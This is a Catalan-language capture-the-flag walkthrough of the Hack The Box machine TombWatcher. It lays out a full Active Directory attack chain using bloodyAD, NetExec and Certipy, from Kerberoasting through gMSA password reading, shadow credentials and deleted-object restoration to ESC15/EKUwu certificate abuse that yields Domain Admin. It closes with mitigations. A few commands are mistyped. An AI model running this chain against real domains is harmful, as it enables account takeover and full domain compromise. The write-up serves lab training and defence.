TombWatcher

Llança TombWatcher i segueix avançant a HTB!

Introducció

Tombwatcher serveix com a demostració directa d’una cadena d’atac Active Directory per a Moviment Lateral, on descobris objectes eliminats de Active Directory que contenen permisos necessaris per atacar una instància de Active Directory Certificate Services. Candidat fort per practicar bloodyAD per a recon, enumeració i escalada de privilegis. Seguit amb usos de Certipy per abusar de l’ESC15.

Fase de Recerca

hey, assumim una brecha, comencem amb les credencials henry:H3nry_987TGV!. El nostre $TARGET s’ha generat a 10.10.11.72.

Comencem amb un escaneig NMap del nostre $TARGET.

nmap -Pn -p- -A -n -T4 -vv $TARGET -oN /workspace/recon/10.10.11.72.nmap

Recorregem la sortida de l’NMap–

1. Serveis típics d’un entorn Active Directory, amb un domini i nom d’amfitrió DC01.tombwatcher.htb filtrats.
2. Serveis DNS i IIS oberts

1. SMB i LDAP estan oberts
2. Existeix una desviació horària, teniu en compte això amb qualsevol autenticació Kerberos
3. SAN estrany, mostrant un OID que indica un objecte que va construir la informació del sujecte per aquest certificat, generalment veuríeu algun indicador de nom d’objecte.

1. El catàleg global LDAP està obert

1. WinRM està obert
2. Diversos ports RPC estan oberts

En resum, estem davant un Controlador de Domini, ja que el nostre $TARGET està executant moltes servesis típiques i l’amfitrió es diu DC01.

Primer hem d’acabar amb la situació de desviació horària, ja que probablement hauríem de tenir en compte mecanismes d’autenticació Kerberos. Assegureu-vos que les nostres credencials inicials per a Henry són vàlides. Comenceu a escanejar per a Bloodhound per trobar el nostre camí, i feu una revisió ràpida de permisos d’accés per a Henry.

Utilitzaré faketime per canviar l’hora del meu shell i corregir la desviació horària

faketime -f '+4h' /bin/zsh

Aleshores, afegiu el nostre $TARGET a /etc/hosts

echo '10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb DC01' >> /etc/hosts

El nostre amfitrió està preparat, passant avall.

Tasques

• Permisos d’accés per a Henry
• Veure el lloc web de IIS
• Revisar les dades de Bloodhound

Permisos d’Accés per a Henry

Primer podem validar que les nostres credencials funcionen utilitzant NetExec.

nxc smb DC01  -u henry -p 'H3nry_987TGV!'

És vàlid, també està habilitat el signant SMB.

Pots comprovar WinRM i LDAP aquí

nxc winrm DC01  -u henry -p 'H3nry_987TGV!'

nxc ldap DC01  -u henry -p 'H3nry_987TGV!'

Com es de suposar, WinRM no està disponible, però LDAP està permès per a Henry.

Comprova si hi ha qualsevol compartició SMB utilitzable i fitxers legibles mitjançant el mòdul spider_plus.

nxc smb DC01  -u henry -p 'H3nry_987TGV!' --shares

nxc smb DC01  -u henry -p 'H3nry_987TGV!' -M spider_plus

cat /root/.nxc/modules/nxc_spider_plus/10.10.11.72.json | jq '.'

Comparticions de només lectura i res particularment interessant per llegir. Hauria de ser suficient aquí, podem esforçar-nos més si és necessari. Pots comprovar ara el lloc web.

Tasques

• Permisos d’accés per a Henry
• Veure el lloc web de IIS
• Revisar les dades de Bloodhound

Visualitza el lloc web d’IIS

Visitant http://tombwatcher.htb i http://DC01.tombwatcher.htb Tots dos llocs resulten en la pàgina base d’IIS, així que penso que és segur ignorar-los. Passa a Bloodhound i probablement sigui més interessant.

Si necessitem tornar enrere i esforçar-nos més profundament, podem començar a fer fuzzing per a fitxers i dominis addicionals.

Tasques

• Permisos d’accés per a Henry
• Veure el lloc web de IIS
• Revisar les dades de Bloodhound

Revisió de dades de Bloodhound

Em faré servir RustHound-CE i BloodHound.py per recollir i ingesting en Bloodhound.

Tant els col·lectors com aquestos recullen conjunts diferents d’informació, i permetre que Bloodhound-CE es pugui encarregar de gestionar les dades duplicades. Especialment quan estem implicats amb Active Directory Certificate Services, ja que RustHound-CE aportarà Certificate Templates a la ingestió.

nxc ldap tombwatcher.htb -u $USER -p $PASSWORD --bloodhound -c all --dns-server 10.10.11.72

rusthound-ce -d tombwatcher.htb -u $USER -p $PASSWORD -z -c All -n 10.10.11.72

Ara importa aquests arxius en Bloodhound. Tenim les nostres dades, podem començar a revisar el domini, els objectius clau i què té Henry per permisos d’accés.

Inicialment, veiem que Henry té ACE de WriteSPN sobre el compte d’usuari Alfred.

Assegura’t de marcar Henry com a propietat.

Visualitzant els permisos d’inscripció en plantilles de certificats publicades, es presenta una anomàlia com un SID no resolt. Això em diu que Active Directory no ha pogut resoldre el SID S-1-5-21-1392491010-1358638721-2126982587-1111, però pot inscriure un certificat de Webserver.

Continuant des de Henry, descobriràs una cadena llarga de tècniques de moviment lateral per arribar finalment a l’usuari John amb GenericAll sobre OU=ADCS,DC=TOMBWATCHER,DC=HTB que… no té res dins aquesta OU.

John és membre de Remote Management Users, així que és desitjable possedir aquest objecte per poder començar a utilitzar WinRM. Podem resumir aquesta cadena d’atac aquí.

1. Henry pot WriteSPN sobre Alfred, llevat un possible atac de Kerberoasting. Suposant que Alfred té una contrasenya feble, podem esbrinar-la amb hashcat.
2. Alfred pot AddSelf al grup d’Infraestructura, que té permisos desitjables que utilitzarem en (3).
3. Els membres de l’Infraestructura poden llegir la contrasenya GMSA de ansible_dev$. Això proporcionarà una hash NTLM.
4. ansible_dev$ té permís per a ForceChangePassword sobre el compte d’usuari sam.
5. El compte d’usuari sam pot escriure-se com a propietat de l’usuari john - que voldrem escriure-nos nosaltres com a propietat per obtenir ControlTotal sobre aquest objecte.
6. john és membre del grup Remote Management Users, que ens permetrà utilitzar WinRM.

Així que tenim una cadena d’atac divertida per moure’s lateralment pel domini i obtenir la propietat de alguns objectius.

Notablement, cap usuari no té accés addicional interessant a altres objectes. No hi ha inscripcions de certificats interessants ni tampoc, excepte ansible_dev$ que dona accés a un conjunt separat d’Certificate Templates desinteressants.

Tasques

• Permisos d’accés per a Henry
• Veure el lloc web IIS
• Revisar les dades de Bloodhound
• Implementar la cadena d’atac AD
• Accedir a DC01 com a john

Bandera d’Usuari

Pots encadenar una sèrie d’atacs significatius utilitzant les eines bloodyAD i NetExec per aconseguir el control dels objectius mencionats anteriorment.

Tasques

• Executar cadena d’atac AD
• Accedir a DC01 com a john

Executar Cadena d’Atac AD

Comencem. Amb Henry podem utilitzar bloodyAD per escriure un valor servicePrincipalName a alfred, fer Kerberoasting de alfred, i després eliminar el valor servicePrincipalName. Utilitzarem http/meow com a nosotrès servicePrincipalName.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD set object alfred servicePrincipalName -v 'http/meow'
# [+] el serveiPrincipalName d'alfred ha estat actualitzat

nxc ldap tombwatcher.htb -u $USER -p $PASSWORD --kerberoasting spn_alfred.hash

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD set object alfred servicePrincipalName
# [+] el serveiPrincipalName d'alfred ha estat actualitzat

Tot bé! Això, aquesta hash la treurem.

hashcat spn_alfred.hash ~/lists/extras/rockyou.txt

Tenim un conjunt de credencials, alfred:<REDACTED>. Configurant alfred com al nostre nou $USER per el pas següent.

Amb alfred, afegirem nosaltres a grup d’Infraestructura per poder llegir la contrasenya del Group Managed Service Account de ansible_dev$.

Utilitzant bloodyAD per modificar l’objecte Infraestructura.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD add groupMember Infrastructure $USER
# [+] alfred afegit a Infraestructura

Utilitzant bloodyAD per llegir la contrasenya de ansible_dev$ gmsa.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD get object ansible_dev$ --attr msDS-ManagedPassword
# distinguishedName: CN=ansible_dev,CN=Gestions de comptes gestionats,DC=tombwatcher,DC=htb
# msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:2669<REDACTED>697b

Pots afegir ansible_dev$:2669<REDACTED>697b a la nostra llista de credencials.

Canviant $USER per ansible_dev$, llavors podem executar forcePasswordChange contra sam a CatPassword123@. Utilitzarem bloodyAD per a aquesta modificació d’objecte.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :2669<REDACTED>697b set password sam CatPassword123@
# [+] Contrasenya canviada correctament!

Canvia el context $USER a sam, escriurem sam com propietari de john, donant-nos GenericAll i executarem un atac de Credencials Ombrejades per no canviar la contrasenya de john.

Utilitzem bloodyAD de nou per a la modificació del nostre objecte.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p CatPassword123@ set owner john $USER
# [+] Propietari antic S-1-5-21-1392491010-1358638721-2126982587-512 ara està reemplaçat per sam a john

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p CatPassword123@ add genericAll john $USER
# [+] sam té ara GenericAll a john

Obtenint Credencials Sombra utilitzant Certipy.

certipy shadow auto -target tombwatcher.htb -dc-ip 10.10.11.72 -username $USER@tombwatcher.htb -p CatPassword123@ -account john

D’aquesta manera, hem obtingut el nostre hash NTLM per a john:752f<REDACTED>fb19.

Canvia el context de $USER a john.

### Tasques
- [x] Executar cadena d'atac AD
- [ ] Accedir a DC01 com a `john`
## Accés a `DC01` com a `john`

Com que estem en el grup `Remote Management Users`, podem accedir a `DC01` utilitzant **evil-winrm**.
```bash
evil-winrm -i $TARGET -u $USER -H $NT_HASH

Obtenint aquesta bandera d’usuari.

cd ..\Desktop
type user.txt
; a353<REDACTED>9e09

Genial! Això va ser un gran moviment, però ara tenim el control de john i tots els comptes d’usuari que ens van portar aquí. En avançant, podem enumerar per trobar el nostre camí cap a l’Administrador.

Tasques

• Executar cadena d’atac AD
• Accedir a DC01 com a john
• Enumerar DC01

Bandera de root

Hi ha molt que cobrir en l’enumeració aquí, així que comencem (també resumiré els resultats i et ajudaré a trobar el camí per a la bandera de root).

Tasques

• Enumera DC01

Enumera DC01

Utilitzant john per recórrer el sistema de fitxers, no trobaràs res d’interès.

Adicionalment, si utilitzem Certipy per enumerar els serveis de certificats d’Active Directory amb algun dels nostres comptes pròpies, tornaràs a no trobar cap vector vulnerable.

Però hi ha un artifact peculiar que existeix en la plantilla WebServer.

certipy find -u $USER@tombwatcher.htb -hashes :$NT_HASH -dc-ip 10.10.11.72 -enabled -text

No està resolent el SID aquí, l’hem vist abans.

Vam recapitular.

Quelques punts pendents encara existeixen, però els mitjans finals no són encara clars.

• john té GenericAll sobre OU=ADCS,DC=TOMBWATCHER,DC=HTB
• OU=ADCS,DC=TOMBWATCHER,DC=HTB no té cap objecte fill Creo que podem assumir segurament que l’OU ADCS té algun propòsit per als serveis de certificats d’Active Directory, però s’està sentint com si hi hagués un peça faltant connectant aquests dos objectes.

Torna en recordar, on vam veure aquell SID no resolt que pot inscriure plantilles de certificat WebServer? Hi ha diverses raons per les quals l’Active Directory pot no poder resoldre aquest SID. Afegint a la nostra investigació, el nostre escaneig d’NMap també va indicar un OID irresoluble per indicar el nom alternatiu adequat.

Podem assumir segurament que el SID involucrat uneix tot això i que aquest objecte va ser probablement eliminat.

Grups d’Active Directory#Reciclatge de l’AD és una característica per permetre als administradors recuperar objectes eliminats. És una funció opcional que és irreversible una vegada activada en un domini.

Pots veure si tenim accés de lectura al contenidor CN=Deleted Objects,DC=tombwatcher,DC=htb amb bloodyAD.

Són necessàries dues condicions per mostrar objectes eliminats, tombstones i reciclat.

• Dret LIST_CHILD en el contenidor d’objectes eliminats
• OID 1.2.840.113556.1.4.2064

Demanarem a bloodyAD que comprovi els nostres drets des de les condicions anteriors.

bloodyAD --host $TARGET -d $DOMAIN -u $USER -p $PASSWORD get writable --include-del

Quelques notes importants de lo que veiem aquí.

1. Tenim accés WRITE al contenidor CN=Deleted Objects,DC=tombwatcher,DC=htb.
2. Tenim dret CREATE_CHILD per a OU=ADCS,DC=tombwatcher,DC=HTB, això és significatiu perquè és un requisit per restaurar un objecte al seu pare, el qual veurem més tard.
3. Tenim dret WRITE a tres instàncies de cert_admin, però si observes atentament - tenen la mateixa DN, però diferents identificadors.

Pots visualitzar els objectes eliminats i mostrar el seu objectSID per determinar quin objecte cert_admin vols, i què és el seu LastKnownParent.

bloodyAD -u $USER -d $DOMAIN -p $PASSWORD --host $TARGET get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name,objectSID,LastKnownParent

Això ens diu perquè necessitem possedir OU=ADCS,DC=TOMBWATCHER,DC=HTB, ja que els nostres permisos heretaran cap avall a seus objectes fill. Una vegada restauri l’cert_admin correcte, també tindrem control plen sobre aquest objecte.

L’objectSID de S-1-5-21-1392491010-1358638721-2126982587-1111 es refereix al correcte cert_admin que necessitem que podrà inscriure un certificat WebServer.

Finalment, per completar el camí ideal a comprometre aquest Controlador de Domini, el certificat WebServer és de la versió 1 del esquema. Això ens permet injectar polítiques d’aplicació arbitràries en el certificat quan s’emita, que porta a (1) una impersonació directa via Schannel, o (2) una impersonació de Kerberos via Agente d’Inscripció.

Aquest camí d’atac va ser anomenat “EKUwu”, però també es pot referir com a CVE-2024-49019.

Pots veure el nostre camí. Ara necessitem executar-lo.

Tasques

• Enumera DC01
• Restableix cert_admin
• Executa l’atac EKUwu

Restaura cert_admin

Una vegada que restorem cert_admin amb bloodyAD, podem veure el certificat de WebServer i verificar que resolgui el SID sota Drets d’Inscripció.
Si ho fa correctament, podem avançar amb la sol·licitud del certificat de WebServer i aplicar la Política d’Aplicació Certificate Request Agent. Més enllà d’això, podem utilitzar el nostre nou certificat per sol·licitar un altre certificat en nom de l’administrador del domini.

Estableix john com propietari d’OU=ADCS,DC=TOMBWATCHER,DC=HTB (si és necessari)

loodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set owner OU=ADCS,DC=TOMBWATCHER,DC=HTB $USER

Utilitzant bloodyAD, restaura cert_admin

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set restore S-1-5-21-1392491010-1358638721-2126982587-1111
# [+] S-1-5-21-1392491010-1358638721-2126982587-1111 s'ha restaurat correctament sota CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

Estableixi la contrasenya de cert_admin a CatPassword123@

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set password cert_admin CatPassword123@
# [+] Contrasenya canviada amb èxit!

Canviant el context de $USER a cert_admin.

Utilitza Certipy per comprovar la plantilla de certificat WebServer

certipy find -u $USER@tombwatcher.htb -p CatPassword123@ -dc-ip 10.10.11.72 -vulnerable -enabled -text

1. Hem restaurat l’objecte correcte, ja que cert_admin s’està resolent properament ara.
2. Veiem Certipy avísant-nos de la plantilla ara vulnerable amb ESC15.

Pots començar l’atac EKUwu.

Tasques

• Enumera DC01
• Restableix cert_admin
• Executa l’atac EKUwu

Executa l’atac EKUwu

Sol·licita un certificat com a cert_admin per a WebServer, però canvia la Política d’Aplicació a Certificate Request Agent. Aquest model de certificat vulnerable inclourà incorrectament la política d’aplicació Certificate Request Agent, que a la seva vegada permetrà que el nostre compte d’usuari sol·liciti un certificat en nom d’un altre usuari.

certipy req -u $USER@tombwatcher.htb -p CatPassword123@ -ca tombwatcher-CA-1 -template WebServer -dc-ip 10.10.11.72 -application-policies 'Certificate Request Agent'

S’ha obtingut correctament el nostre primer certificat. Utilitzarem aquest per sol·licitar-ne un altre contra el model User, en nom del domini administrator.

req -u $USER@tombwatcher.htb -p CatPassword123@ -ca tombwatcher-CA-1 -target DC01.tombwatcher.htb -template User -on-behalf-of "tombwatcher\Administrator" -dc-ip 10.10.11.72 -pfx cert_admin.pfx

Ara tenim un certificat que ens identifica com a administrador del domini. Utilitzarem aquest per autenticar-nos com a administrator amb Certipy, recuperar el seu hash NTLM i utilitzar-lo per iniciar sessió i obtenir la bandera root.

certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.11.72

Nota les credencials d’administrador del domini administrator:f61d<REDACTED>e5fc

Finalment, utilitzem evil-winrm per iniciar sessió i obtenir aquesta bandera.

evil-winrm -i $TARGET -u administrator -H f61d<REDACTED>e5fc

cat ..\Desktop\root.txt
# 2da9<REDACTED>a20a

Enhorabona! Hem completat Tombwatcher.

Conclusió/Mitigacions

Cadena d’atac AD

La sèrie completa de AD té múltiples vulnerabilitats, però algunes permissos poden tenir un ús comercial legítim. Així que destacaré uns canvis que recomanaria, per ajudar a ’trencar’ aquesta cadena des dels permisos que penso que són innecessaris.

Control d’accés insegur - WriteSPN

El compte d’usuari henry pot establir l’atribut servicePrincipalName del compte d’usuari alfred. Això permet un atac de Kerberoasting per obtenir la contrasenya de alfred.

Es recomana eliminar l’ACE que proporciona a henry l’accés d’escriptura a alfred. Restringir aquestes permisos a un grup de compte de servei dedicat és convenient.

Contrasenyes d’Active Directory Débils

alfred era vulnerable a un simple atac de contrasenya fora de línia ja que la seva contrasenya existia en llistes de paraules comunes.

Implementar i aplicar una política de contrasenyes al domini ajudaria a mitigar aquest camí d’atac per als comptes d’usuari.

Control d’accés insegur - WriteOwner

sam compte d’usuari va ser identificat com a tenint privilegis de WriteOwner sobre el compte d’usuari john. En aquest cas, john es tracta com un objecte de valor elevat degut als seus permisos sobre OU=ADCS. Això va permetre control complet sobre els descriptors de seguretat de john, efectivament evitant qualsevol mecanisme de protecció existent.

Es recomana eliminar el privilegi ofensiu de WriteOwner sobre l’objecte de compte d’usuari john. S’acorda restringir els permisos de WriteOwner a un conjunt mínim de comptes d’amministradors de confiança per continuar qualsevol finalitat empresarial d’aquests permisos.

EKUwu

aka CVE-2024-49019, un atac a una CA vulnerable i sense parchejar. Puc proporcionar polítiques d’aplicació arbitràries en la petició de certificat. Idealment, proporcionem Client Authentication o Certificate Request Agent per permetre-n impersonificar qualsevol usuari dins del domini.

Inicialment, aplicar actualitzacions de seguretat de Microsoft que adreçin CVE-2024-49019 a tots els servidors CA adreçaria aquesta vulnerabilitat. A més això, actualitzar plantilles V1, restringir l’inscripció per a plantilles V1 i establir un entorn restringit per als drets d’inscripció basat en el principi de privilegis mínims seria l’entorn ideal per mitigar aquesta vulnerabilitat.

Establir processos addicionals per a plantilles sensibles o amb impacte més elevat és desitjable per a la gestió segura dels certificats.

Referències